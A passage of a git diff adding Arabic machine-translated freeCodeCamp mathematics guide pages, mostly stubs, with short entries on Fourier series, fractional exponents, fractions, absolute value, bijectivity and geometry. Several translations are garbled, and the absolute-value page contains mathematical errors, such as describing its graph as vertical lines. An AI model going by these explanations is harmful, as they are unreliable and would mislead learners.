+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/finding-the-inverse-of-a-function/index.md b/client/src/guide/arabic/mathematics/finding-the-inverse-of-a-function/index.md
new file mode 100644
index 0000000000..2c241cc139
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/finding-the-inverse-of-a-function/index.md
@@ -0,0 +1,11 @@
+---
+title: Finding the Inverse of a Function
+localeTitle: العثور على معكوس وظيفة
+---
+## العثور على معكوس وظيفة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/finding-the-inverse-of-a-function/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/finding-the-minimum-and-maximum-of-a-function/index.md b/client/src/guide/arabic/mathematics/finding-the-minimum-and-maximum-of-a-function/index.md
new file mode 100644
index 0000000000..0821861ed9
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/finding-the-minimum-and-maximum-of-a-function/index.md
@@ -0,0 +1,11 @@
+---
+title: Finding the Minimum and Maximum of a Function
+localeTitle: العثور على الحد الأدنى والحد الأقصى من وظيفة
+---
+## العثور على الحد الأدنى والحد الأقصى من وظيفة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/finding-the-minimum-and-maximum-of-a-function/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/fourier-series/index.md b/client/src/guide/arabic/mathematics/fourier-series/index.md
new file mode 100644
index 0000000000..d0b45dd145
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/fourier-series/index.md
@@ -0,0 +1,14 @@
+---
+title: Fourier Series
+localeTitle: سلسلة فورييه
+---
+## سلسلة فورييه
+
+تمثل سلسلة فورير بعض الوظائف كمجموع للجيوب وجيب التمام. يمكن القيام بذلك من خلال تطبيق تحويل فورييه على بعض الوظائف. هناك العديد من أنواع مختلفة من التحويلات فورييه ، مثل المستمر ، منفصلة ، محدودة ، لانهائية. فيما يلي حالة استخدام بسيطة لتحويل فورييه: لنفترض أنك ترغب في تقريب موجة مربعة بشكل جبري. أفضل طريقة للقيام بذلك هي تطبيق تحويل فورييه ، مما يعطي سلسلة فورييه. يمكن تقريب هذه السلسلة الجديدة باستخدام سلسلة تايلور ، وبالتالي فإن مجموع الجيوب والجسيمات سيصبح مجموعة من كثيرات الحدود ، والتي يسهل على الكمبيوتر حسابها. تدرس سلسلة فورييه اليوم في حقل يسمى "تحليل فورييه". للحصول على فهم بديهي للتحويل ، اقرأ مقالة "BetterExplained" في قسم المعلومات أدناه. للحصول على نقطة انطلاق للتطبيقات الأكاديمية / الهندسية من سلسلة فورييه ، راجع مقال Wikipedia أدناه.
+
+#### معلومات اكثر:
+
+*   [ويكيبيديا على سلسلة فورييه](https://en.wikipedia.org/wiki/Fourier_series)
+*   [ولفرام على سلسلة فورييه](http://mathworld.wolfram.com/FourierSeries.html)
+*   [سلسلة فورييه: شرح أفضل](https://betterexplained.com/articles/an-interactive-guide-to-the-fourier-transform/)
+*   [StackExchange على تحويل فورييه](https://math.stackexchange.com/questions/1002/fourier-transform-for-dummies)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/fractional-exponents/index.md b/client/src/guide/arabic/mathematics/fractional-exponents/index.md
new file mode 100644
index 0000000000..9ea6cd88ac
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/fractional-exponents/index.md
@@ -0,0 +1,23 @@
+---
+title: Fractional Exponents
+localeTitle: الدعامات الكسرية
+---
+## الدعامات الكسرية
+
+تُستخدم الأسس الجزئية لرفع رقم إلى الأس الذي ليس رقمًا صحيحًا. إذا كنت قد عملت مع الأسس والجذور المربعة من قبل ، فقد قمت بالفعل بطباعة كسرية من قبل. على سبيل المثال ، الجذر التربيعي لـ 3 هو نفس القول 3 إلى 1/2.
+
+![](http://www.mathwarehouse.com/algebra/exponents/fraction-exponents/images/square-root-as-fraction.gif)
+
+مع العلم أن أي عدد صحيح يمكن تمثيله كسائر مع ناشئ واحد ، فإن رفع أي شيء ل n / 1 هو نفس الشيء مثل رفع هذا العدد إلى n. وضع الاثنين معا ، يمكننا أن نكتب الصيغة العامة للأطرف الكسرية على النحو التالي:
+
+![](http://www.mathwarehouse.com/algebra/exponents/fraction-exponents/images/formula-numerator-not-one.gif)
+
+**ملاحظة: لا يهم ما تفعله أولا ، البسط أو denomenator**
+
+هنا مثال:
+
+![](http://www.mathwarehouse.com/algebra/exponents/fraction-exponents/images/formula-numerator-not-one2.gif)
+
+#### معلومات اكثر:
+
+http://www.mathwarehouse.com/algebra/exponents/fraction-exponents/formula-examples-simplify-exponents-with-fractions.php https://www.mathsisfun.com/algebra/exponent-fractional.html
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/fractions/index.md b/client/src/guide/arabic/mathematics/fractions/index.md
new file mode 100644
index 0000000000..e6409291e2
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/fractions/index.md
@@ -0,0 +1,28 @@
+---
+title: Fractions
+localeTitle: الكسور
+---
+## الكسور
+
+يمثل الرقم الكسري جزءًا من رقم صحيح ، وهي قيمة تتراوح بين 0 و 1. ويمكن تمثيلها باستخدام الأرقام العشرية (مثل 0.1) ، والنسب المئوية (على سبيل المثال 10٪) ، والمؤشرات السلبية (مثل 10 ^ -1) أو الكسور (على سبيل المثال 1 / 10).
+
+يحتوي الكسر عادة جزئين مقسمين بواسطة خط:
+
+*   البسط: يمثل عدد الأجزاء المتساوية التي تشير إلى الكسر. (فوق الخط)
+    
+*   المقام: يمثل الرقم الذي يتم بواسطته تقسيم البسط لعمل الكسر. (أسفل الخط)
+    
+
+البسط والمقام كلاهما أعداد صحيحة (أعداد صحيحة).
+
+الجزء الصحيح هو واحد حيث يكون البسط أقل من المقام.
+
+يمكن أيضًا إضافة الكسور بعد عدد صحيح لزيادة دقتها.
+
+### أمثلة
+
+تمثل 1½ 1 + 1/2 أو 1.5.
+
+ليس كل الكسور لها تمثيل عشري:
+
+⅓ أو 1/3 يمثل 1 مقسومًا على 3
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/function-notation-definitions-and-evaluating-at-a-number/index.md b/client/src/guide/arabic/mathematics/function-notation-definitions-and-evaluating-at-a-number/index.md
new file mode 100644
index 0000000000..1ac3f4f9b4
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/function-notation-definitions-and-evaluating-at-a-number/index.md
@@ -0,0 +1,11 @@
+---
+title: Function Notation Definitions and Evaluating at a Number
+localeTitle: التدوين الوظيفي تعريفات وتقييم على عدد
+---
+## التدوين الوظيفي تعريفات وتقييم على عدد
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/function-notation-definitions-and-evaluating-at-a-number/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/function-transformations/index.md b/client/src/guide/arabic/mathematics/function-transformations/index.md
new file mode 100644
index 0000000000..9bf2a800db
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/function-transformations/index.md
@@ -0,0 +1,11 @@
+---
+title: Function Transformations
+localeTitle: تحولات دالة
+---
+## تحولات دالة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/function-transformations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/functions-domain-and-range/index.md b/client/src/guide/arabic/mathematics/functions-domain-and-range/index.md
new file mode 100644
index 0000000000..b55fe5b3ec
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/functions-domain-and-range/index.md
@@ -0,0 +1,11 @@
+---
+title: Functions Domain and Range
+localeTitle: وظائف المجال و المدى
+---
+## وظائف المجال و المدى
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions-domain-and-range/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/functions/absolute-value/index.md b/client/src/guide/arabic/mathematics/functions/absolute-value/index.md
new file mode 100644
index 0000000000..7f47b8553b
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/functions/absolute-value/index.md
@@ -0,0 +1,53 @@
+---
+title: Absolute Value
+localeTitle: قيمه مطلقه
+---
+## قيمه مطلقه
+
+ليقول س المطلقة هو أن يكتب ذلك على النحو التالي: | ليقول ص المطلقة هو أن يكتب ذلك باسم | ص | حصلت عليه.
+
+وظائف القيمة المطلقة بسيطة للغاية. وهي تعني في الأساس أن كل ما في جانبها هو |؟ | سيكون لها قيمة موجبة. المعنى | و | -2 | كلاهما يساوي 2. | 3 | و | -3 | كلاهما يساوي 3. | x | و | -x | كلاهما يساوي x. فقط اتبع المشاكل التالية لمعرفة المزيد.
+
+المشكلة: - | x | = 5 من هنا خذ الطرق. الطريق الأول يذهب: - قم بإزالة علامة absloute من الجانب الأيمن من المعادلة. المعادلة تصبح: - س = 5 (حلها)
+
+الطريق الثاني يذهب: - إزالة علامة absloute من الجانب الأيمن من المعادلة ، وإضافة علامة الطرح إلى الجانب الأيسر وجعلها تبدو مثل هذا - ("الجانب الأيسر"). المعادلة تصبح: - س = - (5) وهو في الأساس: - س = -5 (حلها)
+
+الحل إذن هو x = 5 أو -5 (كل 5 و -5 هي الحلول الصحيحة لأن x يمكن أن تكون أما x المطلقة فستظل تساوي 5)
+
+الكلمات الرئيسية هي "الجانب الأيمن" و "الجانب الأيسر".
+
+المعادلة التالية: -
+
+مشكلة:- 2 + | x | = 5
+
+احصل أولاً على x وحده على جانب واحد: - | س | = 5 - 2 | س | = 3
+
+الآن الطريق 1: - | س | = 3 س = 3 (حلها)
+
+الطريق 2: - | س | = 3 س = - (3) س = -3
+
+الحل هو: - س = 3 أو -3.
+
+المعادلة التالية: - | x | ^ 2 = 16
+
+احصل أولاً على x وحده على جانب واحد: - | س | = sqroot (16) | س | = 4
+
+الآن الطريق 1: - | س | = 4 س = 4 (حلها)
+
+الطريق 2: - | س | = 4 س = - (4) س = -4
+
+الحل هو: - س = 4 أو -4
+
+الآن يتيح التحقق من بعض المغالطات المنطقية في مشاكل الجبر: -
+
+في الوظائف المطلقة | X | لن تساوي أبداً رقم negetive. على سبيل المثال (المشكلة التالية خاطئة ، يعني أنه غير ممكن منطقياً): - | س | = -1 يمكنك حل المشكلة ولكن كل الحلول ستكون خاطئة لأن المشكلة بحد ذاتها مستحيلة.
+
+لذلك عندما ترى مطلق | x | متغير يساوي عدد negetive فقط تخطي المشكلة أو كتابة "المشكلة نفسها مستحيلة لأن المتغيرات المطلقة لا يمكن أن تكون متساوية مع أرقام negetive".
+
+كما أن المتغيرات المطلقة لا يمكن أن تكون أقل من 0 ، لذا فإن المشكلة "| x | <0" هي أيضًا خاطئة (منطقيًا مستحيل).
+
+أيضا عندما يكون المتغير المطلق يساوي صفر ، يمكن أن يكون هذا الصفر جذرًا مزدوجًا في بعض الحالات.
+
+الرسم البياني للوظائف المطلقة عبارة عن خطين مستقيمين فقط. على سبيل المثال ، إذا كانت x = 4 أو -4 ، فسيكون هناك خط رأس عمودي عند x = 4 و x = -4.
+
+هذا هو دليل يسير بخطى سريعة للوظائف المطلقة. مزيد من المعلومات متاحة من الويب.
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/functions/bijectivity/index.md b/client/src/guide/arabic/mathematics/functions/bijectivity/index.md
new file mode 100644
index 0000000000..0dadb59fc2
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/functions/bijectivity/index.md
@@ -0,0 +1,31 @@
+---
+title: Bijectivity
+localeTitle: Bijectivity
+---
+## Bijectivity
+
+### وظيفة بيولوجيا هي وظيفة تكون عن طريق الحقن أو العنصر.
+
+#### وظيفة الحقن
+
+لكي تكون الوظيفة حتمية أو فردية ، يجب أن يتم تعيين كل عنصر من عناصر codomain إلى عنصر فريد من المجال. كل قيمة X لها قيمة Y الخاصة بها.
+
+![injective](http://images.tutorvista.com/cms/images/113/injective-function.png) "وظيفة الحقن"
+
+#### وظيفة تراجعية
+
+لكي تكون وظيفة surjective ، أو على ، يتم تعيين كل عنصر من عناصر codomain ليكون على الأقل عنصر واحد من المجال. تحتوي كل قيمة Y على قيمة X واحدة على الأقل.
+
+![surjective](http://images.tutorvista.com/cms/images/113/surjective-function.png) "وظيفة استباقية"
+
+#### وظيفة بيقية
+
+ولكي تكون الوظيفة عبارة عن نبذ ، أو مراسلة واحدة ، يجب أن تكون الوظيفة عن طريق الحقن أو العنصر. كل عنصر من عناصر codomain يعين لعنصر واحد بالضبط من المجال. الأعداد (أو عدد العناصر) من codomain والمجال متساويان.
+
+![bijective](http://images.tutorvista.com/cms/images/113/bijective-function.png) "وظيفة بيقية"
+
+#### معلومات اكثر:
+
+*   [ويكيبيديا المادة على الوظائف](https://en.wikipedia.org/wiki/Bijection,_injection_and_surjection)
+*   [وظائف اكثر](http://www.tutorvista.com/content/math/different-types-of-functions/)
+*   [عظيم للناس الجدد للرياضيات](https://www.mathsisfun.com/sets/injective-surjective-bijective.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/functions/composition/index.md b/client/src/guide/arabic/mathematics/functions/composition/index.md
new file mode 100644
index 0000000000..038cb39e36
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/functions/composition/index.md
@@ -0,0 +1,11 @@
+---
+title: Composition
+localeTitle: تكوين
+---
+## تكوين
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/composition/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/functions/domain-and-codomain/index.md b/client/src/guide/arabic/mathematics/functions/domain-and-codomain/index.md
new file mode 100644
index 0000000000..c9687fab8e
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/functions/domain-and-codomain/index.md
@@ -0,0 +1,11 @@
+---
+title: Domain and Codomain
+localeTitle: المجال و Codomain
+---
+## المجال و Codomain
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/domain-and-codomain/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/functions/exponentials/index.md b/client/src/guide/arabic/mathematics/functions/exponentials/index.md
new file mode 100644
index 0000000000..0b404d28d0
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/functions/exponentials/index.md
@@ -0,0 +1,11 @@
+---
+title: Exponentials
+localeTitle: Exponentials
+---
+## Exponentials
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/exponentials/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/functions/fibonacci-and-ackermann/index.md b/client/src/guide/arabic/mathematics/functions/fibonacci-and-ackermann/index.md
new file mode 100644
index 0000000000..51d4ecbd81
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/functions/fibonacci-and-ackermann/index.md
@@ -0,0 +1,11 @@
+---
+title: Fibonacci and Ackermann
+localeTitle: فيبوناتشي و أكرمان
+---
+## فيبوناتشي و أكرمان
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/fibonacci-and-ackermann/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/functions/floor-and-ceiling/index.md b/client/src/guide/arabic/mathematics/functions/floor-and-ceiling/index.md
new file mode 100644
index 0000000000..f18bef728a
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/functions/floor-and-ceiling/index.md
@@ -0,0 +1,11 @@
+---
+title: Floor and Ceiling
+localeTitle: الكلمة والسقف
+---
+## الكلمة والسقف
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/floor-and-ceiling/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/functions/functions-are-relations/index.md b/client/src/guide/arabic/mathematics/functions/functions-are-relations/index.md
new file mode 100644
index 0000000000..948a976f61
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/functions/functions-are-relations/index.md
@@ -0,0 +1,11 @@
+---
+title: Functions Are Relations
+localeTitle: وظائف هي العلاقات
+---
+## وظائف هي العلاقات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/functions-are-relations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/functions/image-and-range/index.md b/client/src/guide/arabic/mathematics/functions/image-and-range/index.md
new file mode 100644
index 0000000000..abc89722b4
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/functions/image-and-range/index.md
@@ -0,0 +1,11 @@
+---
+title: Image and Range
+localeTitle: الصورة و المدى
+---
+## الصورة و المدى
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/image-and-range/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/functions/index.md b/client/src/guide/arabic/mathematics/functions/index.md
new file mode 100644
index 0000000000..b8e6e72f22
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Functions
+localeTitle: المهام
+---
+## المهام
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/functions/injectivity/index.md b/client/src/guide/arabic/mathematics/functions/injectivity/index.md
new file mode 100644
index 0000000000..a9070021e4
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/functions/injectivity/index.md
@@ -0,0 +1,11 @@
+---
+title: Injectivity
+localeTitle: الضخ
+---
+## الضخ
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/injectivity/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/functions/invertibility/index.md b/client/src/guide/arabic/mathematics/functions/invertibility/index.md
new file mode 100644
index 0000000000..b75eb28da1
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/functions/invertibility/index.md
@@ -0,0 +1,11 @@
+---
+title: Invertibility
+localeTitle: Invertibility
+---
+## Invertibility
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/invertibility/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/functions/logarithms/index.md b/client/src/guide/arabic/mathematics/functions/logarithms/index.md
new file mode 100644
index 0000000000..a943037c5d
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/functions/logarithms/index.md
@@ -0,0 +1,11 @@
+---
+title: Logarithms
+localeTitle: اللوغاريتمات
+---
+## اللوغاريتمات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/logarithms/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/functions/modulo-versus-modular/index.md b/client/src/guide/arabic/mathematics/functions/modulo-versus-modular/index.md
new file mode 100644
index 0000000000..038d5894f9
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/functions/modulo-versus-modular/index.md
@@ -0,0 +1,11 @@
+---
+title: Modulo Versus Modular
+localeTitle: Modulo مقابل وحدات
+---
+## Modulo مقابل وحدات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/modulo-versus-modular/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/functions/recursively-defined-functions/index.md b/client/src/guide/arabic/mathematics/functions/recursively-defined-functions/index.md
new file mode 100644
index 0000000000..7671ddc492
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/functions/recursively-defined-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Recursively Defined Functions
+localeTitle: وظائف محددة بشكل متكرر
+---
+## وظائف محددة بشكل متكرر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/recursively-defined-functions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/functions/surjectivity/index.md b/client/src/guide/arabic/mathematics/functions/surjectivity/index.md
new file mode 100644
index 0000000000..f0deb8f5a6
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/functions/surjectivity/index.md
@@ -0,0 +1,11 @@
+---
+title: Surjectivity
+localeTitle: Surjectivity
+---
+## Surjectivity
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/surjectivity/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/gamma-function/index.md b/client/src/guide/arabic/mathematics/gamma-function/index.md
new file mode 100644
index 0000000000..756240ba33
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/gamma-function/index.md
@@ -0,0 +1,11 @@
+---
+title: Gamma Function
+localeTitle: وظيفة جاما
+---
+## وظيفة جاما
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/gamma-function/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/geometric-sequences-and-sums/index.md b/client/src/guide/arabic/mathematics/geometric-sequences-and-sums/index.md
new file mode 100644
index 0000000000..0f7137b16b
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/geometric-sequences-and-sums/index.md
@@ -0,0 +1,11 @@
+---
+title: Geometric Sequences and Sums
+localeTitle: متواليات هندسية ومبالغ
+---
+## متواليات هندسية ومبالغ
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/geometric-sequences-and-sums/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/geometric-series-with-sigma-notation/index.md b/client/src/guide/arabic/mathematics/geometric-series-with-sigma-notation/index.md
new file mode 100644
index 0000000000..8cc819bf35
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/geometric-series-with-sigma-notation/index.md
@@ -0,0 +1,11 @@
+---
+title: Geometric Series with Sigma Notation
+localeTitle: سلسلة هندسية مع تدوين سيجما
+---
+## سلسلة هندسية مع تدوين سيجما
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/geometric-series-with-sigma-notation/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/geometric-series/index.md b/client/src/guide/arabic/mathematics/geometric-series/index.md
new file mode 100644
index 0000000000..737a2aed79
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/geometric-series/index.md
@@ -0,0 +1,11 @@
+---
+title: Geometric Series
+localeTitle: سلسلة هندسية
+---
+## سلسلة هندسية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/geometric-series/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/geometry/coordinate-plane/index.md b/client/src/guide/arabic/mathematics/geometry/coordinate-plane/index.md
new file mode 100644
index 0000000000..e8c8a216be
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/geometry/coordinate-plane/index.md
@@ -0,0 +1,13 @@
+---
+title: Coordinate Plane
+localeTitle: خطة تنسيق
+---
+## خطة تنسيق
+
+مستوي الإحداثيات هو مستوي حيث يوجد نظام إحداثيات ، بحيث يمكن تحديد كل النقاط في المستوى الفريد من خلال مجموعة من الأوامر (الأكثر شيوعًا). تساعد مستوي التنسيق ، كما هو الحال مع نظام الإحداثيات بأي عدد من الأبعاد ، على تحويل المشاكل في الهندسة إلى مشاكل في الجبر ، والعكس بالعكس.
+
+غالبًا ما يرتبط مستوى التنسيق مع ديكارت. ومن ثم ، يُعرف أيضًا باسم نظام الإحداثيات الديكارتية.
+
+تتكون الطائرة ثنائية الأبعاد من محور سطي أفقي ومحور ص عمودي.
+
+تشير النقطة (0 ، 0) إلى أصل المستوى. أي نقطة إلى يمين أو يسار المنشأ تحتوي على إحداثي x أو موجب على التوالي. في المقابل ، أي نقطة فوق أو تحت الأصل لها قيمة ص إيجابية أو سلبية.
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/geometry/index.md b/client/src/guide/arabic/mathematics/geometry/index.md
new file mode 100644
index 0000000000..47f32458a3
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/geometry/index.md
@@ -0,0 +1,11 @@
+---
+title: Geometry
+localeTitle: علم الهندسة
+---
+## علم الهندسة
+
+الهندسة هي دراسة الأشكال والفضاء الذي توجد فيه. ويمكن مناقشة هذا في الحجم والموضع وخصائص الشكل. هناك العديد من الحقول الفرعية للهندسة:
+
+الهندسة الإقليدية: دراسة النقاط والخطوط والطائرات والزوايا والمثلثات والتطابق والتشابه والأرقام الصلبة والدوائر. الهندسة التفاضلية: استخدام حساب التفاضل والتكامل والجبر الخطي لدراسة المشاكل في الهندسة. الطبولوجيا: دراسة خصائص الكائنات التي لم تتغير عن طريق التعيينات المستمرة. الهندسة المحدبة: دراسة الأشكال المحدبة في الفضاء الإقليدي ونظائرها المجردة. الهندسة الجبرية: دراسة الهندسة من خلال استخدام متعدِّدات الحدود المتعددة المتغيرات وتقنيات أخرى. الهندسة المنفصلة: دراسة الوضع النسبي للأجسام الهندسية البسيطة ، مثل النقاط والخطوط والدوائر.
+
+#### معلومات اكثر
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/geometry/shapes/index.md b/client/src/guide/arabic/mathematics/geometry/shapes/index.md
new file mode 100644
index 0000000000..0367537db2
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/geometry/shapes/index.md
@@ -0,0 +1,5 @@
+---
+title: Shapes
+localeTitle: الأشكال
+---
